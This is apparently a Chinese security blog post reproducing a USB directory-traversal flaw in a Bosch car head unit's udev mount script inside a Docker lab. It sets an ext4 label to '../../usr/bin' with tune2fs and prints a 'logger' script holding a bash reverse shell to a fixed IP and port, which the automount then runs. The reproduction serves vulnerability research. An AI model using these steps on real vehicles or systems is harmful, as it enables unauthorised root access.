github上破解日系车机的文章 - https://github.com/ea/bosch_headunit_root

其中有利用 U 盘获取车机 shell 的操作

主要根据下面这篇文章进行环境搭建和复现

U盘目录穿越获取车机 SHELL(含模拟环境) - https://delikely.github.io/2021/06/04/U%E7%9B%98%E7%9B%AE%E5%BD%95%E7%A9%BF%E8%B6%8A%E8%8E%B7%E5%8F%96%E8%BD%A6%E6%9C%BASHELL/

环境准备

掏出我的U盘,不过好像ubuntu不支持

第一个是插入U盘前 第二个是插入U盘后

一般来说 /dev/sda 是指第一个磁盘设备,/dev/sdb 是指第二个磁盘设备,U盘插进去一般就是sdb了,因为虚拟机本身还有一个磁盘

我用blkid命令都不显示 额....

怀疑是不是因为U盘不是ETX4结构的

掏出我的傲梅分区助手,格式化分区

选择EXT4

等待执行完成即可

插入ubuntu虚拟机 可以看到这里已经是ext4类型了

接下来是固件环境的搭建,这里直接使用原博主已经弄好的Dockerfile,在虚拟机里面搭建一个模拟环境(可能这个时候你想说,那我们U盘插进去的时候,是插的虚拟机还是docker容器,答案是使用 --privileged 参数,以特权模式运行容器,即容器内的进程将具有与主机相同的权限。这可以让容器内的进程执行敏感操作,如挂载文件系统等)

我这里没有直接用wget,下载了对应文件传到虚拟机上

接着创建镜像

~/bosch headunit root$ sudo docker build -t delikely/bosch_headunit_root:automount .
[+] Building 29.8s (9/9) FINISHED
=> [internal] load build definition from Dockerfile 0.0s
=> => transferring dockerfile: 320B 0.0s
=> [internal] load .dockerignore 0.0s
=> => transferring context: 2B 0.0s
=> [internal] load metadata for docker.io/library/ubuntu:12.04 18.0s
=> [1/4] FROM docker.io/library/ubuntu:12.04@sha256:18305429afa14ea462f810146ba44d4363ae76e4c8dfc38288cf73aa07485005 10.5s
=> => resolve docker.io/library/ubuntu:12.04@sha256:18305429afa14ea462f810146ba44d4363ae76e4c8dfc38288cf73aa07485005 0.0s
=> => sha256:18305429afa14ea462f810146ba44d4363ae76e4c8dfc38288cf73aa07485005 1.36kB / 1.36kB 0.0s
=> => sha256:5b117edd0b767986092e9f721ba2364951b0a271f53f1f41aff9dd1861c2d4fe 3.62kB / 3.62kB 0.0s
=> => sha256:d8868e50ac4c7104d2200d42f432b661b2da8c1e417ccfae217e6a1e04bb9295 39.10MB / 39.10MB 6.5s
=> => sha256:83251ac64627fc331584f6c498b3aba5badc01574e2c70b2499af3af16630eed 57.94kB / 57.94kB 0.9s
=> => sha256:589bba2f1b36ae56f0152c246e2541c5aa604b058febfcf2be32e9a304fec610 423B / 423B 0.8s
=> => sha256:d62ecaceda3964b735cdd2af613d6bb136a52c1da0838b2ff4b4dab4212bcb1c 680B / 680B 1.3s
=> => sha256:6d93b41cfc6bf0d2522b7cf61588de4cd045065b36c52bd3aec2ba0622b2b22b 162B / 162B 1.4s
=> => extracting sha256:d8868e50ac4c7104d2200d42f432b661b2da8c1e417ccfae217e6a1e04bb9295 3.9s
=> => extracting sha256:83251ac64627fc331584f6c498b3aba5badc01574e2c70b2499af3af16630eed 0.0s
=> => extracting sha256:589bba2f1b36ae56f0152c246e2541c5aa604b058febfcf2be32e9a304fec610 0.0s
=> => extracting sha256:d62ecaceda3964b735cdd2af613d6bb136a52c1da0838b2ff4b4dab4212bcb1c 0.0s
=> => extracting sha256:6d93b41cfc6bf0d2522b7cf61588de4cd045065b36c52bd3aec2ba0622b2b22b 0.0s
=> [internal] load build context 0.0s
=> => transferring context: 33B 0.0s
=> [2/4] WORKDIR /etc/ 0.6s
=> [3/4] COPY ./udev.tar.gz /etc/ 0.0s
=> [4/4] RUN tar xzvf udev.tar.gz -C ./udev/ 0.5s
=> exporting to image 0.1s
=> => exporting layers 0.1s
=> => writing image sha256:b7f09bab4df68c56fbfcb47df03b921998fe677b5b1158b01d5d29a8625c962f 0.0s
=> => naming to docker.io/delikely/bosch_headunit_root:automount 0.0s

额这么慢?

不好意思打开方式错了,先改docker镜像源

sudo vi /etc/docker/daemon.json

添加

{
"registry-mirrors": ["https://y0qd3iq.mirror.aliyuncs.com"]
}

重启docker

service docker restart

可以看一下更新成功没有

sudo docker info|grep Mirrors -A 1

现在再搭建docker,世界终于美好了

接下来运行这个镜像 原文中的命令有点问题 这里使用

~/bosch headunit root$ sudo docker run -itd --privileged=true delikely/bosch_headunit_root:automount
05993c72efb7425b800924ac22d4d521b4a003261180a35cff301ad6f9b30db7

OK到这里环境终于OK了

漏洞代码分析

因为我们的docker前面启动设置的原因 所以现在如果插入U盘 会直接挂载到docker容器中 如下

可以看到是在容器中

另外车机的操作系统为 Linux

U 盘等外设热插拔由 udev 实现。udev 是 Linux 系统中的一个设备管理守护进程,全称为 "Userspace Device Manager"(用户空间设备管理器)。它负责监听和管理计算机系统中的硬件设备

配置文件在 /etc/udev 下 。udev 会根据设备的 UUID 和 LABEL,构造挂载点。UUID 是块设备的唯一标识符,LAEBL 是块设备的一个标签

车机中自定义了 U 盘挂载脚本,在 udev 配置文件 /etc/udev/rules.d/local.rules 中 ,指定了由脚本 /etc/udev/scripts/mount.sh 处理

接下来看 mount.sh 的内容

#!/bin/bash
#
# Called from udev
# Attempt to mount any added block devices by UUID
# and remove any removed devices
# . /etc/default/rcS if [ -n "$DEVDEBUG" ]
then
export >> /tmp/env.txt
fi MOUNT="/bin/mount"
UMOUNT="/bin/umount"
MOUNTPT="/dev/media"
MOUNTDB="/tmp/.automount" devname=${DEVNAME##*/} check_mount() {
dev=$1
not_found=1 exec 4< /proc/mounts read -u 4 device mount_point skip
while [ $? -eq 0 ]; do
case ${device} in
$dev)
not_found=0
echo ${mount_point}
;;
*)
;;
esac
read -u 4 device mount_point skip
done exec 4<&- return ${not_found}
} automount() {
if [ -z "${ID_FS_TYPE}" ]; then
logger -p user.err "mount.sh/automount" "$DEVNAME has no filesystem, not mounting"
return
fi # Determine the name for the mount point. First check for the
# uuid, then for the label and then for a unique name.
if [ -n "${ID_FS_UUID}" ]; then
mountdir=${ID_FS_UUID}
elif [ -n "${ID_FS_LABEL}" ]; then
mountdir=${ID_FS_LABEL}
else
mountdir="disk"
while [ -d $MOUNTPT/$mountdir ]; do
mountdir="${mountdir}_"
done
fi # Create the mount point.
! test -d "$MOUNTPT/$mountdir" && mkdir -p "$MOUNTPT/$mountdir" # And mount the disk or partition.
if [ -n ${ID_FS_TYPE} ]
then
if [ "vfat" = ${ID_FS_TYPE} ]
then
IOCHARSET=",utf8=1"
elif [ "ntfs" = ${ID_FS_TYPE} ]
then
IOCHARSET=",nls=utf8"
fi
fi result=$($MOUNT -t ${ID_FS_TYPE} -o sync,ro$IOCHARSET $DEVNAME "$MOUNTPT/$mountdir" 2>&1)
status=$?
if [ ${status} -ne 0 ]; then
logger -p user.err "mount.sh/automount" "$MOUNT -t ${ID_FS_TYPE} -o sync,ro $DEVNAME \"$MOUNTPT/$mountdir\" failed: ${result}"
rm_dir "$MOUNTPT/$mountdir"
else
logger "mount.sh/automount" "mount [$MOUNTPT/$mountdir] with type ${ID_FS_TYPE} successful"
mkdir -p ${MOUNTDB}
echo -n "$MOUNTPT/$mountdir" > "${MOUNTDB}/$devname"
fi
} rm_dir() {
# We do not want to rm -r populated directories
if test "`find "$1" | wc -l | tr -d " "`" -lt 2 -a -d "$1"
then
! test -z "$1" && rm -r "$1"
else
logger -p user.err "mount.sh/automount" "not removing non-empty directory [$1]"
fi
} if [ "$ACTION" = "add" ] && [ -n "$DEVNAME" ]; then
check_mount "$DEVNAME" || automount
fi if [ "$ACTION" = "change" ] && [ -n "$DEVNAME" ]; then
# Check if the disk can be opened.
if [ exec <$DEVNAME ]; then
# The disk can be opened, so check for a file system and mount
# it. Otherwise wait for the add events for the partitions.
if [ -n "${ID_FS_TYPE}" ]; then
# There is a file system, so try to mount it.
check_mount "$DEVNAME" || automount
fi
else
# The disk cannot be opened. Unmount all mount points
# referring to this disk including partitions.
for file in $(ls ${MOUNTDB}/$devname* 2>&-)
do
read mountdir < ${file}
devname=${file#${MOUNTDB}/} logger "mount.sh/automount" "unmounting [${mountdir}]"
$UMOUNT -l $mountdir # Remove empty directories from auto-mounter
rm_dir "${mountdir}"
rm "${MOUNTDB}/$devname"
done
fi
fi if [ "$ACTION" = "remove" ] && [ -x "$UMOUNT" ] && [ -n "$DEVNAME" ]; then for mnt in $(check_mount "$DEVNAME")
do
logger "mount.sh/automount" "unmounting [$mnt]"
$UMOUNT -l $mnt # Remove empty directories from auto-mounter
if [ -e "${MOUNTDB}/$devname" ]; then
read mountdir < ${MOUNTDB}/$devname
rm_dir "$mountdir"
rm "${MOUNTDB}/$devname"
rm "${INFODB}/$devname"
fi
done
fi

查看主动挂载函数

automount() {
if [ -z "${ID_FS_TYPE}" ]; then
logger -p user.err "mount.sh/automount" "$DEVNAME has no filesystem, not mounting"
return
fi # Determine the name for the mount point. First check for the
# uuid, then for the label and then for a unique name.
if [ -n "${ID_FS_UUID}" ]; then
mountdir=${ID_FS_UUID}
elif [ -n "${ID_FS_LABEL}" ]; then
mountdir=${ID_FS_LABEL}
else
mountdir="disk"
while [ -d $MOUNTPT/$mountdir ]; do
mountdir="${mountdir}_"
done
fi # Create the mount point.
! test -d "$MOUNTPT/$mountdir" && mkdir -p "$MOUNTPT/$mountdir" # And mount the disk or partition.
if [ -n ${ID_FS_TYPE} ]
then
if [ "vfat" = ${ID_FS_TYPE} ]
then
IOCHARSET=",utf8=1"
elif [ "ntfs" = ${ID_FS_TYPE} ]
then
IOCHARSET=",nls=utf8"
fi
fi result=$($MOUNT -t ${ID_FS_TYPE} -o sync,ro$IOCHARSET $DEVNAME "$MOUNTPT/$mountdir" 2>&1)
status=$?
if [ ${status} -ne 0 ]; then
logger -p user.err "mount.sh/automount" "$MOUNT -t ${ID_FS_TYPE} -o sync,ro $DEVNAME \"$MOUNTPT/$mountdir\" failed: ${result}"
rm_dir "$MOUNTPT/$mountdir"
else
logger "mount.sh/automount" "mount [$MOUNTPT/$mountdir] with type ${ID_FS_TYPE} successful"
mkdir -p ${MOUNTDB}
echo -n "$MOUNTPT/$mountdir" > "${MOUNTDB}/$devname"
fi
}

逐行分析

下面的代码判断U盘的文件系统 ID_FS_TYPE,可识别就继续执行,否则就退出

if [ -z "${ID_FS_TYPE}" ]; then
logger -p user.err "mount.sh/automount" "$DEVNAME has no filesystem, not mounting"
return
fi

然后设置mountdir,如果 ID_FS_UUID 不为空则 mountdir 为 ID_FS_UUID,如果 ID_FS_LABEL 不为空则 mountdir 为 ID_FS_LABEL,否则mountdir为disk

if [ -n "${ID_FS_UUID}" ]; then
mountdir=${ID_FS_UUID}
elif [ -n "${ID_FS_LABEL}" ]; then
mountdir=${ID_FS_LABEL}
else
mountdir="disk"
while [ -d $MOUNTPT/$mountdir ]; do
mountdir="${mountdir}_"
done
fi

拼接一下 /dev/media 就是形成了最终的挂载点。最后使用 mount 命令将 U盘挂载到刚才构造的这个路径上

! test -d "$MOUNTPT/$mountdir" && mkdir -p "$MOUNTPT/$mountdir"

下面这部分因为我们是ETX4所以可以忽略

# And mount the disk or partition.
if [ -n ${ID_FS_TYPE} ]
then
if [ "vfat" = ${ID_FS_TYPE} ]
then
IOCHARSET=",utf8=1"
elif [ "ntfs" = ${ID_FS_TYPE} ]
then
IOCHARSET=",nls=utf8"
fi
fi

然后是真正的挂载操作

result=$($MOUNT -t ${ID_FS_TYPE} -o sync,ro$IOCHARSET $DEVNAME "$MOUNTPT/$mountdir" 2>&1)

$mountdir 这里很关键,刚好是我们能够控制的 而且没有什么过滤操作,存在目录穿越漏洞

咱们接着把挂载脚本看完

status=$?
if [ ${status} -ne 0 ]; then
logger -p user.err "mount.sh/automount" "$MOUNT -t ${ID_FS_TYPE} -o sync,ro $DEVNAME \"$MOUNTPT/$mountdir\" failed: ${result}"
rm_dir "$MOUNTPT/$mountdir"
else
logger "mount.sh/automount" "mount [$MOUNTPT/$mountdir] with type ${ID_FS_TYPE} successful"
mkdir -p ${MOUNTDB}
echo -n "$MOUNTPT/$mountdir" > "${MOUNTDB}/$devname"
fi

我们看挂载成功之后的逻辑 会调用logger命令,我们劫持/usr/bin/之后,可以在U盘里面再写一个logger脚本,导致挂载的时候运行到这里的时候,调用我们的logger脚本,从而实现反弹shell

漏洞利用

因为 $mountdir 没有被过滤,所以可以控制 $mountdir 来实现目录穿越,从而劫持系统中的程序实现任意命令执行

前面 $mountdir 我们可以通过 ID_FS_UUID 和 ID_FS_LABEL 来控制

blkid 命令是一个用于显示块设备(如硬盘、分区等)的文件系统类型和UUID(Universally Unique Identifier)的工具命令。它可以帮助您在 Linux 系统中识别和管理块设备。

/etc# blkid /dev/sdb1
/dev/sdb1: LABEL="EasyU" UUID="7cc162e8-93d7-1f44-bbd6-0d308f113468" TYPE="ext4"

可以看到其中

  • LABEL 为 EasyU
  • UUID 为 7cc162e8-93d7-1f44-bbd6-0d308f113468

我们使用 tune2fs 工具

tune2fs 是一个用于调整和修改 ext2、ext3 和 ext4 文件系统参数的命令行工具。它是 e2fsprogs 软件包(ext2/ext3/ext4 文件系统工具集)中的一部分,常用于 Linux 系统中

使用tune2fs控制UUID

/etc# tune2fs -U "../../usr/bin" /dev/sdb1
tune2fs 1.42 (29-Nov-2011)
tune2fs: Invalid UUID format

不规范的UUID,所以将其置空

/etc# tune2fs -U NULL /dev/sdb1
tune2fs 1.42 (29-Nov-2011)

控制 LABEL

/etc# tune2fs -L "../../usr/bin" /dev/sdb1
tune2fs 1.42 (29-Nov-2011)

看一下成果

/etc# blkid /dev/sdb1
/dev/sdb1: LABEL="../../usr/bin" UUID="7cc162e8-93d7-1f44-bbd6-0d308f113468" TYPE="ext4"

暂停docker,在U盘目录下编写logger脚本来进行反弹shell,这里我除了IP,其余直接复制原博主的了

root@kali:~/automotive# mount /dev/sdb1 /media/root/
root@kali:~/automotive# cd /media/root
root@kali:/media/root# cat logger
#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.159.128/4444 0>&1
root@kali:/media/root# chmod +x logger
root@kali:/media/root# cd -
root@kali:~/automotive# umount /dev/sdb1

启动docker环境~

最后再插入U盘 ,ubuntu虚拟机拿到反弹shell~ (大功告成

原来的/usr/bin 目录下就被劫持了,只剩下了U盘内容

可以看到反弹shell中我们用 whoami 就找不到命令了

如果想要使用其他的/usr/bin/目录下的命令,就需要把原来/usr/bin 目录的文件(或相同架构的可执行文件)拷贝到 U 盘根目录,这样在劫持了之后才有命令可用

END

建了一个微信的安全交流群,欢迎添加我微信备注进群,一起来聊天吹水哇,以及一个会发布安全相关内容的公众号,欢迎关注

加我拉你入群 黑糖安全公众号

U盘目录穿越获取车机SHELL - 分析与复现的更多相关文章

  1. 用C++和shell获取本机CPU、网卡IO、内存、磁盘等的基本信息

    用C++和shell获取本机CPU.网卡.内存.磁盘等的基本信息: 由于对C++相关的函数没多少了解,但是觉得用shell反而相对简单一些: 一.shell脚本,用来辅助C++获取主机的资源使用信息 ...

  2. Shell 命令行获取本机IP,grep的练习

    Shell 命令行获取本机IP,grep的练习 在 mac 下面输入 ifconfig 或者在 linux 下面输入 ip a 就可以得到我们的网卡信息.不过通常情况下,我们需要查看的是我们的IP地址 ...

  3. shell中获取本机ip地址

    shell中获取本机ip地址 方法一: /sbin/ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr ...

  4. 用 shell 获取本机的网卡名称

    用 shell 获取本机的网卡名称 # 用 shell 获取本机的网卡名称 ls /sys/class/net # 或者 ifconfig | grep "Link" | awk ...

  5. c#中如何获取本机MAC地址、IP地址、硬盘ID、CPU序列号等系统信息

    我们在利用C#开发桌面程序(Winform)程序的时候,经常需要获取一些跟系统相关的信息,例如用户名.MAC地址.IP地址.硬盘ID.CPU序列号.系统名称.物理内存等. 首先需要引入命名空间: us ...

  6. 居于mtk芯片安卓车机系统具体流程

    一:车机系统框架  MCU 功能  电源控制  Radio 控制(RDS)  按键检测(Panel/Remote/SW)  常见信号检查(倒车/大灯/刹车)  CAN 模块通讯  ARM- ...

  7. 使用Android studio配置软件签名,并在车机安装

    系统级APP,可在Androidmanifest.xml中配置属性,并使用系统级签名. 1. 签名方式 1.1 bulid.gradle(:app)中添加签名信息 1.2 使用Android stud ...

  8. python学习之最简单的获取本机ip信息的小程序

    文章是从我的个人博客粘贴过来的,大家可以直接访问我的个人博客哦 http://www.iwangzheng.com 获取本机ip信息的命令ifconfig总是在用,这次拿到pyhton代码里,感觉py ...

  9. 获取本机CPU,硬盘等使用情况

    早上的时候接到主管的一个任务,要获取服务器上的cpu,硬盘, 数据库等 的使用情况,并以邮件的方式发给boss, = =没办法,公司的服务器真是不敢恭维,顺便吐槽一下公司的网速,卡的时候30k左右徘徊 ...

  10. 如何获取本机IP

    GetLocalHost 直接通过InetAddress.getLocalHost()来获取,其主要逻辑如下 InetAddress.getLocalHost(): String hostname = ...

随机推荐

  1. 2020-12-13:用最少数量的线程,每个线程执行for的空循环,把cpu打满了。如果在for的空循环里添加打印输出函数,会把cpu打满吗?为什么?

    福哥答案2020-12-13:不会.输出会进行io操作,相对于CPU的速度,这是一个非常缓慢的过程,所以CPU会有机会空闲下来.***[评论](https://user.qzone.qq.com/31 ...

  2. 2021-04-16:摆放着n堆石子。现要将石子有次序地合并成一堆,规定每次只能选相邻的2堆石子合并成新的一堆,并将新的一堆石子数记为该次合并的得分。求出将n堆石子合并成一堆的最小得分(或最大得分)合

    2021-04-16:摆放着n堆石子.现要将石子有次序地合并成一堆,规定每次只能选相邻的2堆石子合并成新的一堆,并将新的一堆石子数记为该次合并的得分.求出将n堆石子合并成一堆的最小得分(或最大得分)合 ...

  3. 2021-05-22:假设所有字符都是小写字母, 大字符串是str,arr是去重的单词表, 每个单词都不是空字符串且可以使用任意次。使用arr中的单词有多少种拼接str的方式。 返回方法数。

    2021-05-22:假设所有字符都是小写字母, 大字符串是str,arr是去重的单词表, 每个单词都不是空字符串且可以使用任意次.使用arr中的单词有多少种拼接str的方式. 返回方法数. 福大大 ...

  4. Qt数据可视化项目

    一.创建项目(步骤按常规来即可) 二.ui设计界面 控件的使用 默认视角:Label标签和horizontalSlider标签 水平旋转:Label标签和horizontalSlider标签 垂直旋转 ...

  5. HTML5网页游戏开发

    HTML概述 互联网上的应用程序被称为Web应用程序,web应用程序使用Web文档(网页)来表示用户界面,Web文档都遵循html格式,html5是最新的html标准 HTML基础 HTML是Hype ...

  6. dotnet平台Http消息处理者工厂

    1 前言 Microsoft.Extensions.Http是一个设计非常优异的客户端工厂库,其提供了IHttpClientFactory用于创建HttpClient和IHttpMessageHand ...

  7. 音容笑貌,两臻佳妙,人工智能AI换脸(deepfake)技术复刻《卡萨布兰卡》名场面(Python3.10)

    影史经典<卡萨布兰卡>是大家耳熟能详的传世名作,那一首壮怀激烈,激奋昂扬的马赛曲,应当是通片最为激动人心的经典桥段了,本次我们基于faceswap和so-vits库让AI川普复刻美国演员保 ...

  8. Python从0到1丨了解图像形态学运算中腐蚀和膨胀

    摘要:这篇文章将详细讲解图像形态学知识,主要介绍图像腐蚀处理和膨胀处理. 本文分享自华为云社区<[Python从零到壹] 四十七.图像增强及运算篇之腐蚀和膨胀详解>,作者: eastmou ...

  9. .cur 图片加载提示 You may need an appropriate loader to handle this file type

    最近一个gis 项目需要加载一个.cur的图标,但是编译时提示 You may need an appropriate loader to handle this file type, current ...

  10. JS异步解决方案及优缺点

    1. 回调函数 优点: 解决了同步的问题(只要有一个任务耗时长后面的任务都会等待,会拖延程序执行) 缺点: 回调地狱  不能用try  catch捕获  不能用 return setTimeout(( ...